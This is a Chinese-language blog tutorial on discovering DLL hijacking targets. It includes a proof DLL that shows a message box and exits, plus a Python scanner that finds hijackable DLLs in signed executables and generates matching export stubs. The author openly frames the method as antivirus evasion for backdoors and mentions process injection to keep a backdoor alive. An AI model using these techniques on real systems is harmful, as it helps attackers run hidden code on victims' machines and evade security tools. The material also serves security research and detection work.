DLL劫持挖掘

2024 年 7 月 24 日 星期三(已编辑)
55
这篇文章上次修改于 2024 年 8 月 5 日 星期一,可能部分内容已经不适用,如有疑问可询问作者。

DLL劫持挖掘

参考

DLL劫持 快速挖掘 工具开发

介绍

dll文件 就是动态链接库文件,里面有很多函数。exe 如果需要使用这些函数就需要去加载dll文件。dll劫持就是把这个dll文件给替换掉,替换成我们的恶意dll文件。exe在加载恶意dll后就会运行恶意代码。

所以我们需要满足几个条件

  • dll名称要正确
  • dll与exe在同一个文件夹内(这个条件不是绝对的,exe在加载dll文件时有加载目录顺序)
  • dll的导出表要正确

exe文件有一个导入表,导入表中包含了需要加载哪些dll的哪些函数 dll文件有一个导出表,导出表中显示了它能提供哪些函数 只有导入表和导出表相对应的时候,这个dll文件才能被正确加载

怎么才能让dll文件的导出表是正确的呢

就需要去查看exe的导入表

DUMPBIN 参考

工具参考路径

D:\Program Files\Microsoft Visual Studio\2022\Professional\VC\Tools\MSVC\14.38.33130\bin\Hostx64\x64
dumpbin /imports phpstudy_pro.exe

这样就能查看使用了哪些dll文件的哪些函数,但是如下图所示,dll函数中存在问号,如果dll中有这种函数,就不使用这个dll。

image.png

image.png

正常的使用的dll文件如下图所示,会是正常的函数名

image.png

image.png

创建dll

创建DLL文件,启动Visual Studio并创建一个新项目。在给出的项目模板中,选择 Dynamic-Link Library (DLL) 选项

image.png

image.png

接下来,选择保存项目文件的位置。 保存项目后,应该会出现 dllmain.cpp 以及默认的 DLL 代码。

image.png

image.png

在这里我们只关注函数名称,至于它的返回值是什么类型和函数体是什么样的,我们不关心

image.png

image.png
// dllmain.cpp : 定义 DLL 应用程序的入口点。

// 包含预编译头文件(如果使用了)
#include "pch.h"

// 包含必要的头文件
#include <iostream>

// 在此处定义导出函数声明,这些函数将在DLL中被导出
extern "C" __declspec(dllexport) int JLI_GetStdArgc() { return 0; }
extern "C" __declspec(dllexport) int JLI_GetStdArgs() { return 0; }
extern "C" __declspec(dllexport) int JLI_Launch() { return 0; }
extern "C" __declspec(dllexport) int JLI_MemAlloc() { return 0; }
extern "C" __declspec(dllexport) int JLI_CmdToArgs() { return 0; }

// DLL入口点函数
BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD ul_reason_for_call,
    LPVOID lpReserved
)
{
    // 根据调用原因进行不同的处理
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        // 当进程附加到DLL时执行的代码
        MessageBoxA(NULL, "Success!!!", "DLL Hijacking", MB_OK); // 显示一个消息框
        exit(0); // 退出进程
        break;

    case DLL_THREAD_ATTACH:
        // 当线程附加到DLL时执行的代码
        break;

    case DLL_THREAD_DETACH:
        // 当线程从DLL分离时执行的代码
        break;

    case DLL_PROCESS_DETACH:
        // 当进程从DLL分离时执行的代码
        break;
    }

    return TRUE; // 返回TRUE表示初始化成功
}

然后这里的话相当于写C语言的Main函数

BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        MessageBoxA(NULL, "Success!!!", "DLL Hijacking", MB_OK);
        exit(0);
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

当dll文件刚被加载的时候,会首先调用这里的代码

image.png

image.png

为什么要退出程序呢?因为我们这个dll是一个错误的dll,exe加载了这个错误的dll后可能会崩溃或卡住,这样的话就会有一些嫌疑特征。我们就主动退出程序。

然后还有一些条件,因为我们做dll劫持是通过白+黑进行免杀,所以我们的白文件要足够的白。

  • 选择要替换的dll,他最好不是一个微软的dll。如果你的dll名称和微软的dll文件名称相同的话就可能被微软杀掉。
  • 还有就是exe要有真实数字签名,这样文件足够白,但是我们不能自己打一个签名,如果直接打一个假的数字签名的话,那他会被Windows default 杀掉
  • EXE的位数要正确

dll Main 函数最好设置为进程迁移的操作,就是把后门迁移到其他白进程,因为这个进程加载了错误的dll文件会崩溃,那我们的后门就关闭了,那我们可以通过远程进程注入的方式把进程迁移到其他白程序,如果你要使用远程进程注入的话,那你只能使用一个64位的程序注入64位的程序

所以dll程序怎么进行手工挖掘呢

可以下载第三方exe,把它安装在虚拟机当中,然后找到它的安装目录,安装目录里通常会有很多exe文件,可以挨个看exe符不符合这些条件。可以看exe文件的导入表,有没有使用非微软的dll,并且函数都是正常的函数,然后就可以对这个exe进行dll劫持。然后就可以编写一个dll文件,把导出文件定义好,就可以生成一个dll文件。

也可以通过 Process Monitor来进行挖掘

查看应用程序位数和数字签名

Sigcheck

sigcheck64 phpstudy_pro.exe
image.png

image.png

然后Publisher 字段能看到应用程序有没有数字签名 Publisher: n/a 代表没有数字签名

image.png

image.png

DLL 劫持 自动化挖掘

https://github.com/HexNy0a/SkyShadow

import re
import os
import sys

def GetPayload(path, exeName):
    hijackableDLLs = {}
    exeFullPath = path + '/' + exeName
    exeSize = os.path.getsize(exeFullPath)
    if exeSize > 10 * 1024 * 1024: # 10MB
        return
    # 获取导入表
    imports = os.popen('dumpbin /imports "' + exeFullPath + '"').read()
    # 匹配 DLL 信息
    dllsInfo = re.findall('([\S]+\.[dlDL]{3})[\s\S]+?\n\n([\s\S]+?\n)\n', imports)
    for dllInfo in dllsInfo:
        dllName = dllInfo[0]
        if '?' not in dllInfo[1] and dllName.lower() not in MicrosoftDlls:
            functionNames = re.findall('[0-9A-F][\s]([\S]+)\n', dllInfo[1])
            hijackableDLLs[dllName] = functionNames # {'xxx.dll': ['func1', 'func2', ...], ...}
    # 获取 EXE 信息
    if hijackableDLLs:
        print(exeFullPath)
        # 文件大小
        if exeSize > 1024 * 1024:
            exeSize = str(round(exeSize/(1024 * 1024), 2)) + 'MB'
        elif exeSize > 1024:
            exeSize = str(round(exeSize/1024, 2)) + 'KB'
        else:
            exeSize = str(round(exeSize, 2)) + 'B'
        # 位数
        sigcheck = os.popen('sigcheck64 -accepteula "' + exeFullPath + '"').read()
        if '64-bit' in sigcheck:
            bit = 'x64'
        elif '32-bit' in sigcheck:
            bit = 'x86'
        # 数字签名
        if re.search('Publisher:[\s]+n/a', sigcheck):
            publisher = ' '
            payload = [bit + ' ' + exeSize + ' 无数字签名 ' + exeName]
        else:
            publisher = '数字签名 '
            payload = [bit + ' ' + exeSize + ' 有数字签名 ' + exeName]
        # 生成导出函数
        for dllName, functionNames in hijackableDLLs.items():
            payload += ['\n' + dllName]
            for functionName in functionNames:
                payload += ['extern "C" __declspec(dllexport) int ' + functionName + '() { return 0; }']
        # 写入文件
        fileName = bit + ' ' + exeSize + ' ' + publisher + exeName
        try:
            os.mkdir('Payload')
        except:
            pass
        try:
            os.mkdir('Payload/' + fileName)
        except:
            pass
        with open('Payload/' + fileName + '/' + fileName + '.txt', 'w') as f:
            f.write('\n'.join(payload))
        os.popen('copy "' + exeFullPath.replace('/', '\\') + '" "' + os.getcwd() + '/Payload/' + fileName + '"')
        
# 收集微软 DLL  递归变量文件夹 收集dll
def Scan(path, suffix):
    try:
        for fileName in os.listdir(path):
            if os.path.isdir(path + '/' + fileName): # 文件夹
                Scan(path + '/' + fileName, suffix)
            elif fileName[-4:] == suffix:
                if fileName[-4:] == '.dll': # DLL
                    print(fileName)
                    MicrosoftDlls.add(fileName.lower())
                elif fileName[-4:] == '.exe': # EXE
                    GetPayload(path, fileName) # 生成 Payload
    except: # 文件夹无法打开
        pass

if __name__ == '__main__':
    if len(sys.argv) == 2:
        # 收集微软 DLL
        if os.path.exists('微软 DLL.txt'):
            with open('微软 DLL.txt','r') as f:
                MicrosoftDlls = f.read().splitlines() # ['ntdll.dll', 'kernel32.dll', ...]
        else:
            MicrosoftDlls = set() # {'ntdll.dll', 'kernel32.dll', ...}
            Scan('C:/Windows/System32', '.dll')
            Scan('C:/Windows/SysWOW64', '.dll')
            Scan('C:/Windows/WinSxS', '.dll')
            with open('微软 DLL.txt', 'w') as f:
                f.write('\n'.join(MicrosoftDlls))
        # 扫描 EXE
        Scan(sys.argv[1], '.exe') ## 对指导路径下的文件进行扫描,看是否符合dll 劫持条件
    else:
        print('Usage: python SkyShadow.py "D:/"')

image.png

image.png
image.png

image.png

然后生成替换放到同一目录即可


  • Loading...
  • Loading...
  • Loading...
  • Loading...
  • Loading...